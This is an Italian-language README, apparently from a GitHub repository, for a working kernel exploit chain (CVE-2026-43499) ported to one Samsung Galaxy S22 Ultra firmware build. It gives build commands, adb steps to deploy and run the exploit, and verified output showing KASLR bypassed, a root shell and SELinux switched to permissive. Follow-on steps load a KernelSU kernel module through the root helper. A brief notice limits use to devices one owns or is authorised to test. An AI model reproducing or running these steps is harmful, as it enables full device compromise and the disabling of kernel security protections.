
CVE-2026-43499 catena di exploit completa per Samsung Galaxy S22 Ultra (kernel Android 5.10)
https://github.com/user-attachments/assets/f3d0858d-f8f5-444f-8ae5-541c2bc744c3
![]() | ![]() |
![]() | ![]() |
Questa repository contiene un porting specifico per dispositivo dell'exploit CVE-2026-43499 per il Samsung Galaxy S22 Ultra (SM-S908W).
Device: Samsung Galaxy S22 Ultra (SM-S908W)
Codename: b0q
Android: 15 / SDK 35
Build number: AP3A.240905.015.A2.S908WVLS8FYG7
Build display ID: AP3A.240905.015.A2.S908WVLS8FYG7
Build fingerprint: samsung/b0qcsx/b0q:15/AP3A.240905.015.A2/S908WVLS8FYG7:user/release-keys
Kernel: 5.10.226-android12-9-30958166-abS908WVLS8FYG7
Architecture: aarch64
Gli offset e i layout delle strutture in questa repository sono specifici del firmware sopra indicato. Altri modelli e build di firmware non sono supportati da questo profilo di destinazione.
Questo porting si basa sull'implementazione dell'exploit pubblicata in:
b850d3bddc74c3328d5fbcc0568d21962b55d949Un ringraziamento speciale a:
La licenza Apache 2.0 upstream è mantenuta in LICENSE.
b0q / S908WVLS8FYG7 (src/targets/S908WVLS8FYG7/target.h) e i layout delle strutture del kernel.exp32: coreografia dei futex, marcatura dello stack a 32 bit e sched_setattr eseguiti in uno stadio figlio a 32 bit incorporato (src/exp32/).system_unbound_wq sicuro per KDP e aggiornato il target runtime di applicazione SELinux a selinux_state.enforcing./data/local/tmp/cve-2026-43499-root.cve43499-hold dopo il successo, così i riferimenti orfani del kernel non possono essere riciclati in oggetti slab non correlati.Imposta ANDROID_NDK_HOME su Android NDK r27+ o su una toolchain compatibile, quindi esegui:
make PROJECT=S908WVLS8FYG7 clean preload root-helper
Per compilare per un ambiente QEMU che esegue il kernel Android con un filesystem Buildroot:
make USE_BUILDROOT=1 PROJECT=S908WVLS8FYG7 clean preload root-helper
Output:
build/S908WVLS8FYG7/bin/cve-2026-43499
build/S908WVLS8FYG7/bin/cve-2026-43499-root
build/S908WVLS8FYG7/bin/cve-exp32
adb push build/S908WVLS8FYG7/bin/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/S908WVLS8FYG7/bin/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb push build/S908WVLS8FYG7/bin/cve-exp32 /data/local/tmp/cve-exp32
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root /data/local/tmp/cve-exp32
Esegui la fase dell'exploit per avviare il demone root:
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
Dopo il successo, apri una shell root interattiva da qualsiasi punto del dispositivo:
adb shell "/data/local/tmp/cve-2026-43499-root"
Oppure esegui direttamente i comandi root:
adb shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
L'esecuzione predefinita effettua fino a 16 tentativi indipendenti. Ogni processo figlio fallito termina prima del tentativo successivo, così i suoi descrittori di file e le allocazioni per la modellazione dell'heap vengono rilasciati invece di accumularsi in un unico processo di exploit di lunga durata. Il ritardo base predefinito è di 20000 microsecondi e il supervisore esegue la seguente sequenza due volte:
20000, 30000, 50000, 25000, 40000, 15000, 60000, 35000
Sovrascrivi il numero di tentativi o il ritardo base quando raccogli dati di temporizzazione:
adb shell "EXPLOIT_ATTEMPTS=24 PSELECT_DELAY_USEC=20000 LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
Risultato verificato su S908WVLS8FYG7:
[*] root umh result wake=1 complete=1 retval=0 socket=1
[+] pipe-physrw-summary pid=5011 done=1 root=1 kaslr=1 base=ffffffc0080d8000 slide=00000000000d8000
[+] pipe physrw pid=5011 done=1 root=1 kaslr=1 read_ok=1 write_ok=1 rw64=1/1 uid=2000->0
[+] stability keeper pid=28206 retaining reclaimed kernel pages
[+] exploit completed attempt=1/16
Sessione shell root interattiva:
b0q:/data/local/tmp $ ./cve-2026-43499-root
:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
:/ # getenforce
Permissive
La fase iniziale è basata su race condition. Un figlio che termina con root=0 viene ritentato automaticamente. Un'esecuzione riuscita ripristina ashmem_misc.fops, porta SELinux in modalità permissiva e avvia il demone helper root fino al riavvio successivo.
L'exploit sopra mantiene la root solo per il boot corrente. Per ottenere un'app Manager e un controllo in stile su per il resto della sessione, carica KernelSU-Next come modulo kernel a caricamento tardivo tramite l'helper root.
Scarica entrambi gli asset della release da v3.3.0-android12-5.10:
KernelSU_Next_v3.3.0-release.apk — App Managerkernelsu-android12-5.10.ko — Modulo kernel LKMInstalla l'APK Manager:
adb install KernelSU_Next_v3.3.0-release.apk
adb push kernelsu-android12-5.10.ko /data/local/tmp/kernelsu-android12-5.10.ko
adb shell "/data/local/tmp/cve-2026-43499-root -c 'insmod /data/local/tmp/kernelsu-android12-5.10.ko'"
ksud soft-reboot.Poiché si tratta di un LKM caricato tardivamente (non un'immagine di boot patchata), non sopravvive al riavvio: dovrai rieseguire l'exploit e ricaricare il modulo con insmod ogni volta che il dispositivo si riavvia.
[!WARNING] Avviso su affidabilità e kernel panic: La fase di race condition è sensibile ai tempi e attualmente non affidabile: potrebbe fallire o causare un kernel panic nella maggior parte delle esecuzioni. Sii paziente, poiché i boot puliti offrono un tasso di successo più elevato. Future ottimizzazioni potrebbero essere rilasciate per migliorare l'affidabilità.
[!TIP] Raccomandazioni per stabilità e tasso di successo:
- Riavvia il dispositivo: Per il tasso di successo più alto, riavvia il dispositivo prima di eseguire l'exploit per garantire uno stato pulito di slab/heap.
- Chiudi le app in background: Assicurati che tutte le applicazioni in background siano chiuse.
- Sblocca lo schermo e resta inattivo: Tieni il dispositivo sbloccato e non interagire né usare il telefono mentre l'exploit è in esecuzione, poiché input utente attivi o attività in background possono disturbare i tempi e potenzialmente innescare un kernel panic.
Usa solo su dispositivi che possiedi o per i quali hai ricevuto esplicita autorizzazione a testare.